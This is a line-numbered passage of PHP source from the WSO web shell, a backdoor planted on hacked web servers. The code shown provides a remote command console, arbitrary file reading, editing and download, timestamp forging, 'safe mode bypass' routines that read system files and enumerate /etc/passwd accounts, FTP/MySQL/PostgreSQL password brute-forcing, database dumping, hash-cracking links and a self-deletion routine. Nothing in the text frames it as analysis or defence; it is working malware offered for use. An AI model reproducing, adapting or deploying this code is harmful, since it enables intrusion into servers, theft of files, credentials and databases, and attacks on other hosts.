777 echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . (($f['type'] == 'file') ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" title=' . $f['link'] . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . (($f['type'] == 'file') ? wsoViewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . (($f['type'] == 'file') ? ' <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
778 $l = $l ? 0 : 1;
779 }
780
781 echo "<tr><td colspan=7>
782 <input type=hidden name=a value='FilesMan'>
783 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>
784 <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
785 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
786 if (class_exists('ZipArchive')) echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
787 echo "<option value='tar'>Compress (tar.gz)</option>";
788 if (!empty($_SESSION['act']) && @count($_SESSION['f'])) echo "<option value='paste'>Paste / Compress</option>";
789 echo "</select> ";
790 if (!empty($_SESSION['act']) && @count($_SESSION['f']) && (($_SESSION['act'] == 'zip') || ($_SESSION['act'] == 'tar'))) echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_SESSION['act'] == 'zip' ? 'zip' : 'tar.gz') . "'> ";
791 echo "<input type='submit' value='>>'></td></tr></form></table></div>";
792 wsoFooter();
793 }
794
795function actionStringTools()
796 {
797 if (!function_exists('hex2bin'))
798 {
799 function hex2bin($p)
800 {
801 return decbin(hexdec($p));
802 }
803 }
804
805 if (!function_exists('binhex'))
806 {
807 function binhex($p)
808 {
809 return dechex(bindec($p));
810 }
811 }
812
813 if (!function_exists('hex2ascii'))
814 {
815 function hex2ascii($p)
816 {
817 $r = '';
818 for ($i = 0; $i < strLen($p); $i+= 2)
819 {
820 $r.= chr(hexdec($p[$i] . $p[$i + 1]));
821 }
822
823 return $r;
824 }
825 }
826
827 if (!function_exists('ascii2hex'))
828 {
829 function ascii2hex($p)
830 {
831 $r = '';
832 for ($i = 0; $i < strlen($p); ++$i) $r.= sprintf('%02X', ord($p[$i]));
833 return strtoupper($r);
834 }
835 }
836
837 if (!function_exists('full_urlencode'))
838 {
839 function full_urlencode($p)
840 {
841 $r = '';
842 for ($i = 0; $i < strlen($p); ++$i) $r.= '%' . dechex(ord($p[$i]));
843 return strtoupper($r);
844 }
845 }
846
847 $stringTools = array(
848 'Base64 encode' => 'base64_encode',
849 'Base64 decode' => 'base64_decode',
850 'Url encode' => 'urlencode',
851 'Url decode' => 'urldecode',
852 'Full urlencode' => 'full_urlencode',
853 'md5 hash' => 'md5',
854 'sha1 hash' => 'sha1',
855 'crypt' => 'crypt',
856 'CRC32' => 'crc32',
857 'ASCII to HEX' => 'ascii2hex',
858 'HEX to ASCII' => 'hex2ascii',
859 'HEX to DEC' => 'hexdec',
860 'HEX to BIN' => 'hex2bin',
861 'DEC to HEX' => 'dechex',
862 'DEC to BIN' => 'decbin',
863 'BIN to HEX' => 'binhex',
864 'BIN to DEC' => 'bindec',
865 'String to lower case' => 'strtolower',
866 'String to upper case' => 'strtoupper',
867 'Htmlspecialchars' => 'htmlspecialchars',
868 'String length' => 'strlen',
869 );
870 if (isset($_POST['ajax']))
871 {
872 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
873 ob_start();
874 if (in_array($_POST['p1'], $stringTools)) echo $_POST['p1']($_POST['p2']);
875 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()) , "\n\r\t\\'\0") . "';\n";
876 echo strlen($temp) , "\n", $temp;
877 exit;
878 }
879
880 wsoHeader();
881 echo '<h1>String conversions</h1><div class=content>';
882 if (empty($_POST['ajax']) && !empty($_POST['p1'])) $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
883 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
884 foreach($stringTools as $k => $v) echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
885 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " . (@$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br /><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['p1']) ? '' : htmlspecialchars(@$_POST['p2'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
886 if (!empty($_POST['p1']))
887 {
888 if (in_array($_POST['p1'], $stringTools)) echo htmlspecialchars($_POST['p1']($_POST['p2']));
889 }
890
891 echo "</pre></div><br /><h1>Search text in files:</h1><div class=content>
892 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
893 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
894 <tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS['cwd']) . "' style='width:100%'></td></tr>
895 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
896 <tr><td></td><td><input type='submit' value='>>'></td></tr>
897 </table></form>";
898 function wsoRecursiveGlob($path)
899 {
900 if (substr($path, -1) != '/') $path.= '/';
901 $paths = @array_unique(@array_merge(@glob($path . $_POST['p3']) , @glob($path . '*', GLOB_ONLYDIR)));
902 if (is_array($paths) && @count($paths))
903 {
904 foreach($paths as $item)
905 {
906 if (@is_dir($item))
907 {
908 if ($path != $item) wsoRecursiveGlob($item);
909 }
910 else
911 {
912 if (@strpos(@file_get_contents($item) , @$_POST['p2']) !== false) echo "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($item) . "\", \"view\")'>" . htmlspecialchars($item) . "</a><br />";
913 }
914 }
915 }
916 }
917
918 if (@$_POST['p3']) wsoRecursiveGlob($_POST['c']);
919 echo "</div><br /><h1>Search for hash:</h1><div class=content>
920 <form method='post' target='_blank' name='hf'>
921 <input type='text' name='hash' style='width:200px;'><br />
922 <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br />
923 <input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br />
924 <input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br />
925 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br />
926 <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br />
927 </form></div>";
928 wsoFooter();
929 }
930
931function actionFilesTools()
932 {
933 if (isset($_POST['p1'])) $_POST['p1'] = urldecode($_POST['p1']);
934 if (@$_POST['p2'] == 'download')
935 {
936 if (@is_file($_POST['p1']) && @is_readable($_POST['p1']))
937 {
938 ob_start("ob_gzhandler", 4096);
939 header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
940 if (function_exists("mime_content_type"))
941 {
942 $type = @mime_content_type($_POST['p1']);
943 header("Content-Type: " . $type);
944 }
945 else header("Content-Type: application/octet-stream");
946 $fp = @fopen($_POST['p1'], "r");
947 if ($fp)
948 {
949 while (!@feof($fp)) echo @fread($fp, 1024);
950 fclose($fp);
951 }
952 }
953
954 exit;
955 }
956
957 if (@$_POST['p2'] == 'mkfile')
958 {
959 if (!file_exists($_POST['p1']))
960 {
961 $fp = @fopen($_POST['p1'], 'w');
962 if ($fp)
963 {
964 $_POST['p2'] = "edit";
965 fclose($fp);
966 }
967 }
968 }
969
970 wsoHeader();
971 echo '<h1>File tools</h1><div class=content>';
972 if (!file_exists(@$_POST['p1']))
973 {
974 echo 'File not exists';
975 wsoFooter();
976 return;
977 }
978
979 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
980 if (!$uid)
981 {
982 $uid['name'] = @fileowner($_POST['p1']);
983 $gid['name'] = @filegroup($_POST['p1']);
984 }
985 else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
986 echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? wsoViewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . wsoPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br />';
987 echo '<span>Create time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br /><br />';
988 if (empty($_POST['p2'])) $_POST['p2'] = 'view';
989 if (is_file($_POST['p1'])) $m = array(
990 'View',
991 'Highlight',
992 'Download',
993 'Hexdump',
994 'Edit',
995 'Chmod',
996 'Rename',
997 'Touch'
998 );
999 else $m = array(
1000 'Chmod',
1001 'Rename',
1002 'Touch'
1003 );
1004 foreach($m as $v) echo '<a href=# onclick="g(null,null,null,\'' . strtolower($v) . '\')">' . ((strtolower($v) == @$_POST['p2']) ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
1005 echo '<br /><br />';
1006 switch ($_POST['p2'])
1007 {
1008 case 'view':
1009 echo '<pre class=ml1>';
1010 $fp = @fopen($_POST['p1'], 'r');
1011 if ($fp)
1012 {
1013 while (!@feof($fp)) echo htmlspecialchars(@fread($fp, 1024));
1014 @fclose($fp);
1015 }
1016
1017 echo '</pre>';
1018 break;
1019
1020 case 'highlight':
1021 if (@is_readable($_POST['p1']))
1022 {
1023 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
1024 $code = @highlight_file($_POST['p1'], true);
1025 echo str_replace(array(
1026 '<span ',
1027 '</span>'
1028 ) , array(
1029 '<font ',
1030 '</font>'
1031 ) , $code) . '</div>';
1032 }
1033
1034 break;
1035
1036 case 'chmod':
1037 if (!empty($_POST['p3']))
1038 {
1039 $perms = 0;
1040 for ($i = strlen($_POST['p3']) - 1; $i >= 0; --$i) $perms+= (int)$_POST['p3'][$i] * pow(8, (strlen($_POST['p3']) - $i - 1));
1041 if (!@chmod($_POST['p1'], $perms)) echo 'Can\'t set permissions!<br /><script>document.mf.p3.value="";</script>';
1042 }
1043
1044 clearstatcache();
1045 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])) , -4) . '"><input type=submit value=">>"></form>';
1046 break;
1047
1048 case 'edit':
1049 if (!is_writable($_POST['p1']))
1050 {
1051 echo 'File isn\'t writeable';
1052 break;
1053 }
1054
1055 if (!empty($_POST['p3']))
1056 {
1057 $time = @filemtime($_POST['p1']);
1058 $_POST['p3'] = substr($_POST['p3'], 1);
1059 $fp = @fopen($_POST['p1'], "w");
1060 if ($fp)
1061 {
1062 @fwrite($fp, $_POST['p3']);
1063 @fclose($fp);
1064 echo 'Saved!<br /><script>p3_="";</script>';
1065 @touch($_POST['p1'], $time, $time);
1066 }
1067 }
1068
1069 echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
1070 $fp = @fopen($_POST['p1'], 'r');
1071 if ($fp)
1072 {
1073 while (!@feof($fp)) echo htmlspecialchars(@fread($fp, 1024));
1074 @fclose($fp);
1075 }
1076
1077 echo '</textarea><input type=submit value=">>"></form>';
1078 break;
1079
1080 case 'hexdump':
1081 $c = @file_get_contents($_POST['p1']);
1082 $n = 0;
1083 $h = array(
1084 '00000000<br />',
1085 '',
1086 ''
1087 );
1088 $len = strlen($c);
1089 for ($i = 0; $i < $len; ++$i)
1090 {
1091 $h[1].= sprintf('%02X', ord($c[$i])) . ' ';
1092 switch (ord($c[$i]))
1093 {
1094 case 0:
1095 $h[2].= ' ';
1096 break;
1097
1098 case 9:
1099 $h[2].= ' ';
1100 break;
1101
1102 case 10:
1103 $h[2].= ' ';
1104 break;
1105
1106 case 13:
1107 $h[2].= ' ';
1108 break;
1109
1110 default:
1111 $h[2].= $c[$i];
1112 break;
1113 }
1114
1115 $n++;
1116 if ($n == 32)
1117 {
1118 $n = 0;
1119 if ($i + 1 < $len)
1120 {
1121 $h[0].= sprintf('%08X', $i + 1) . '<br />';
1122 }
1123
1124 $h[1].= '<br />';
1125 $h[2].= "\n";
1126 }
1127 }
1128
1129 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $h[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
1130 break;
1131
1132 case 'rename':
1133 if (!empty($_POST['p3']))
1134 {
1135 if (!@rename($_POST['p1'], $_POST['p3'])) echo 'Can\'t rename!<br />';
1136 else die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
1137 }
1138
1139 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value=">>"></form>';
1140 break;
1141
1142 case 'touch':
1143 if (!empty($_POST['p3']))
1144 {
1145 $time = strtotime($_POST['p3']);
1146 if ($time)
1147 {
1148 if (!touch($_POST['p1'], $time, $time)) echo 'Fail!';
1149 else echo 'Touched!';
1150 }
1151 else echo 'Bad time format!';
1152 }
1153
1154 clearstatcache();
1155 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value=">>"></form>';
1156 break;
1157 }
1158
1159 echo '</div>';
1160 wsoFooter();
1161 }
1162
1163function actionSafeMode()
1164 {
1165 $temp = '';
1166 ob_start();
1167 switch ($_POST['p1'])
1168 {
1169 case 1:
1170 $temp = @tempnam($test, 'cx');
1171 if (@copy("compress.zlib://" . $_POST['p2'], $temp))
1172 {
1173 echo @file_get_contents($temp);
1174 unlink($temp);
1175 }
1176 else echo 'Sorry... Can\'t open file';
1177 break;
1178
1179 case 2:
1180 $files = glob($_POST['p2'] . '*');
1181 if (is_array($files))
1182 foreach($files as $filename) echo $filename . "\n";
1183 break;
1184
1185 case 3:
1186 $ch = curl_init("file://" . $_POST['p2'] . "\x00" . preg_replace('!\(\d+\)\s.*!', '', __FILE__));
1187 curl_exec($ch);
1188 break;
1189
1190 case 4:
1191 ini_restore("safe_mode");
1192 ini_restore("open_basedir");
1193 include ($_POST['p2']);
1194
1195 break;
1196
1197 case 5:
1198 for (; $_POST['p2'] <= $_POST['p3']; $_POST['p2']++)
1199 {
1200 $uid = @posix_getpwuid($_POST['p2']);
1201 if ($uid) echo join(':', $uid) . "\n";
1202 }
1203
1204 break;
1205 }
1206
1207 $temp = ob_get_clean();
1208 wsoHeader();
1209 echo '<h1>Safe mode bypass</h1><div class=content>';
1210 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br /><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br /><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br /><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br /><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
1211 if ($temp) echo '<pre class="ml1" style="margin-top:5px" id="Output">' . htmlspecialchars($temp) . '</pre>';
1212 echo '</div>';
1213 wsoFooter();
1214 }
1215
1216function actionConsole()
1217 {
1218 if (!empty($_POST['p1']) && !empty($_POST['p2']))
1219 {
1220 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] = true;
1221 $_POST['p1'].= ' 2>&1';
1222 }
1223 elseif (!empty($_POST['p1'])) $_SESSION[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] = false;
1224 if (isset($_POST['ajax']))
1225 {
1226 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
1227 ob_start();
1228 echo "d.cf.cmd.value='';\n";
1229 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ " . $_POST['p1'] . "\n" . wsoEx($_POST['p1']) , "\n\r\t\\'\0"));
1230 if (preg_match("!.*cd\s+([^;]+)$!", $_POST['p1'], $match))
1231 {
1232 if (@chdir($match[1]))
1233 {
1234 $GLOBALS['cwd'] = @getcwd();
1235 echo "c_='" . $GLOBALS['cwd'] . "';";
1236 }
1237 }
1238
1239 echo "d.cf.output.value+='" . $temp . "';";
1240 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
1241 $temp = ob_get_clean();
1242 echo strlen($temp) , "\n", $temp;
1243 exit;
1244 }
1245
1246 wsoHeader();
1247 echo "<script>
1248if(window.Event) window.captureEvents(Event.KEYDOWN);
1249var cmds = new Array('');
1250var cur = 0;
1251function kp(e) {
1252 var n = (window.Event) ? e.which : e.keyCode;
1253 if(n == 38) {
1254 cur--;
1255 if(cur>=0)
1256 document.cf.cmd.value = cmds[cur];
1257 else
1258 cur++;
1259 } else if(n == 40) {
1260 cur++;
1261 if(cur < cmds.length)
1262 document.cf.cmd.value = cmds[cur];
1263 else
1264 cur--;
1265 }
1266}
1267function add(cmd) {
1268 cmds.pop();
1269 cmds.push(cmd);
1270 cmds.push('');
1271 cur = cmds.length-1;
1272}
1273</script>";
1274 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
1275 foreach($GLOBALS['aliases'] as $n => $v)
1276 {
1277 if ($v == '')
1278 {
1279 echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
1280 continue;
1281 }
1282
1283 echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
1284 }
1285
1286 if (empty($_POST['ajax']) && !empty($_POST['p1'])) $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
1287 echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['p2']) || $_SESSION[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
1288 if (!empty($_POST['p1']))
1289 {
1290 echo htmlspecialchars("$ " . $_POST['p1'] . "\n" . wsoEx($_POST['p1']));
1291 }
1292
1293 echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
1294 echo '</form></div><script>d.cf.cmd.focus();</script>';
1295 wsoFooter();
1296 }
1297
1298function actionLogout()
1299 {
1300 session_destroy();
1301 die('bye!');
1302 }
1303
1304function actionSelfRemove()
1305 {
1306 if ($_POST['p1'] == 'yes')
1307 if (@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) die('Shell has been removed');
1308 else echo 'unlink error!';
1309 if ($_POST['p1'] != 'yes') wsoHeader();
1310 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br /><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1311 wsoFooter();
1312 }
1313
1314function actionBruteforce()
1315 {
1316 wsoHeader();
1317 if (isset($_POST['proto']))
1318 {
1319 echo '<h1>Results</h1><div class=content><span>Type:</span> ' . htmlspecialchars($_POST['proto']) . ' <span>Server:</span> ' . htmlspecialchars($_POST['server']) . '<br />';
1320 if ($_POST['proto'] == 'ftp')
1321 {
1322 function bruteForce($ip, $port, $login, $pass)
1323 {
1324 $fp = @ftp_connect($ip, $port ? $port : 21);
1325 if (!$fp) return false;
1326 $res = @ftp_login($fp, $login, $pass);
1327 @ftp_close($fp);
1328 return $res;
1329 }
1330 }
1331 elseif ($_POST['proto'] == 'mysql')
1332 {
1333 function bruteForce($ip, $port, $login, $pass)
1334 {
1335 $res = @mysql_connect($ip . ':' . $port ? $port : 3306, $login, $pass);
1336 @mysql_close($res);
1337 return $res;
1338 }
1339 }
1340 elseif ($_POST['proto'] == 'pgsql')
1341 {
1342 function bruteForce($ip, $port, $login, $pass)
1343 {
1344 $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres";
1345 $res = @pg_connect($str);
1346 @pg_close($res);
1347 return $res;
1348 }
1349 }
1350
1351 $success = 0;
1352 $attempts = 0;
1353 $server = explode(":", $_POST['server']);
1354 if ($_POST['type'] == 1)
1355 {
1356 $temp = @file('/etc/passwd');
1357 if (is_array($temp))
1358 foreach($temp as $line)
1359 {
1360 $line = explode(":", $line);
1361 ++$attempts;
1362 if (bruteForce(@$server[0], @$server[1], $line[0], $line[0]))
1363 {
1364 $success++;
1365 echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($line[0]) . '<br />';
1366 }
1367
1368 if (@$_POST['reverse'])
1369 {
1370 $tmp = "";
1371 for ($i = strlen($line[0]) - 1; $i >= 0; --$i) $tmp.= $line[0][$i];
1372 ++$attempts;
1373 if (bruteForce(@$server[0], @$server[1], $line[0], $tmp))
1374 {
1375 $success++;
1376 echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($tmp);
1377 }
1378 }
1379 }
1380 }
1381 elseif ($_POST['type'] == 2)
1382 {
1383 $temp = @file($_POST['dict']);
1384 if (is_array($temp))
1385 foreach($temp as $line)
1386 {
1387 $line = trim($line);
1388 ++$attempts;
1389 if (bruteForce($server[0], @$server[1], $_POST['login'], $line))
1390 {
1391 $success++;
1392 echo '<b>' . htmlspecialchars($_POST['login']) . '</b>:' . htmlspecialchars($line) . '<br />';
1393 }
1394 }
1395 }
1396
1397 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br />";
1398 }
1399
1400 echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' . '<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' . '<input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">' . '<input type=hidden name=a value="' . htmlspecialchars($_POST['a']) . '">' . '<input type=hidden name=charset value="' . htmlspecialchars($_POST['charset']) . '">' . '<span>Server:port</span></td>' . '<td><input type=text name=server value="127.0.0.1"></td></tr>' . '<tr><td><span>Brute type</span></td>' . '<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' . '<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' . '<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' . '<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' . '<td><input type=text name=login value="root"></td></tr>' . '<tr><td><span>Dictionary</span></td>' . '<td><input type=text name=dict value="' . htmlspecialchars($GLOBALS['cwd']) . 'passwd.dic"></td></tr></table>' . '</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1401 echo '</div><br />';
1402 wsoFooter();
1403 }
1404
1405function actionSql()
1406 {
1407 class DbClass
1408
1409 {
1410 var $type;
1411 var $link;
1412 var $res;
1413 function DbClass($type)
1414 {
1415 $this->type = $type;
1416 }
1417
1418 function connect($host, $user, $pass, $dbname)
1419 {
1420 switch ($this->type)
1421 {
1422 case 'mysql':
1423 if ($this->link = @mysql_connect($host, $user, $pass, true)) return true;
1424 break;
1425
1426 case 'pgsql':
1427 $host = explode(':', $host);
1428 if (!$host[1]) $host[1] = 5432;
1429 if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname")) return true;
1430 break;
1431 }
1432
1433 return false;
1434 }
1435
1436 function selectdb($db)
1437 {
1438 switch ($this->type)
1439 {
1440 case 'mysql':
1441 if (@mysql_select_db($db)) return true;
1442 break;
1443 }
1444
1445 return false;
1446 }
1447
1448 function query($str)
1449 {
1450 switch ($this->type)
1451 {
1452 case 'mysql':
1453 return $this->res = @mysql_query($str);
1454 break;
1455
1456 case 'pgsql':
1457 return $this->res = @pg_query($this->link, $str);
1458 break;
1459 }
1460
1461 return false;
1462 }
1463
1464 function fetch()
1465 {
1466 $res = func_num_args() ? func_get_arg(0) : $this->res;
1467 switch ($this->type)
1468 {
1469 case 'mysql':
1470 return @mysql_fetch_assoc($res);
1471 break;
1472
1473 case 'pgsql':
1474 return @pg_fetch_assoc($res);
1475 break;
1476 }
1477
1478 return false;
1479 }
1480
1481 function listDbs()
1482 {
1483 switch ($this->type)
1484 {
1485 case 'mysql':
1486 return $this->query("SHOW databases");
1487 break;
1488
1489 case 'pgsql':
1490 return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
1491 break;
1492 }
1493
1494 return false;
1495 }
1496
1497 function listTables()
1498 {
1499 switch ($this->type)
1500 {
1501 case 'mysql':
1502 return $this->res = $this->query('SHOW TABLES');
1503 break;
1504
1505 case 'pgsql':
1506 return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
1507 break;
1508 }
1509
1510 return false;
1511 }
1512
1513 function error()
1514 {
1515 switch ($this->type)
1516 {
1517 case 'mysql':
1518 return @mysql_error();
1519 break;
1520
1521 case 'pgsql':
1522 return @pg_last_error();
1523 break;
1524 }
1525
1526 return false;
1527 }
1528
1529 function setCharset($str)
1530 {
1531 switch ($this->type)
1532 {
1533 case 'mysql':
1534 if (function_exists('mysql_set_charset')) return @mysql_set_charset($str, $this->link);
1535 else $this->query('SET CHARSET ' . $str);
1536 break;
1537
1538 case 'pgsql':
1539 return @pg_set_client_encoding($this->link, $str);
1540 break;
1541 }
1542
1543 return false;
1544 }
1545
1546 function loadFile($str)
1547 {
1548 switch ($this->type)
1549 {
1550 case 'mysql':
1551 return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
1552 break;
1553
1554 case 'pgsql':
1555 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '" . addslashes($str) . "';select file from wso2;");
1556 $r = array();
1557 while ($i = $this->fetch()) $r[] = $i['file'];
1558 $this->query('drop table wso2');
1559 return array(
1560 'file' => implode("\n", $r)
1561 );
1562 break;
1563 }
1564
1565 return false;
1566 }
1567
1568 function dump($table, $fp = false)
1569 {
1570 switch ($this->type)
1571 {
1572 case 'mysql':
1573 $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
1574 $create = mysql_fetch_array($res);
1575 $sql = $create[1] . ";\n";
1576 if ($fp) fwrite($fp, $sql);
1577 else echo ($sql);
1578 $this->query('SELECT * FROM `' . $table . '`');
1579 $head = true;
1580 while ($item = $this->fetch())
1581 {
1582 $columns = array();
1583 foreach($item as $k => $v)
1584 {
1585 if ($v == null) $item[$k] = "NULL";
1586 elseif (is_numeric($v)) $item[$k] = $v;
1587 else $item[$k] = "'" . @mysql_real_escape_string($v) . "'";
1588 $columns[] = "`" . $k . "`";
1589 }
1590
1591 if ($head)
1592 {
1593 $sql = 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES \n\t(" . implode(", ", $item) . ')';
1594 $head = false;
1595 }
1596 else $sql = "\n\t,(" . implode(", ", $item) . ')';
1597 if ($fp) fwrite($fp, $sql);
1598 else echo ($sql);
1599 }
1600
1601 if (!$head)
1602 if ($fp) fwrite($fp, ";\n\n");
1603 else echo (";\n\n");
1604 break;
1605
1606 case 'pgsql':
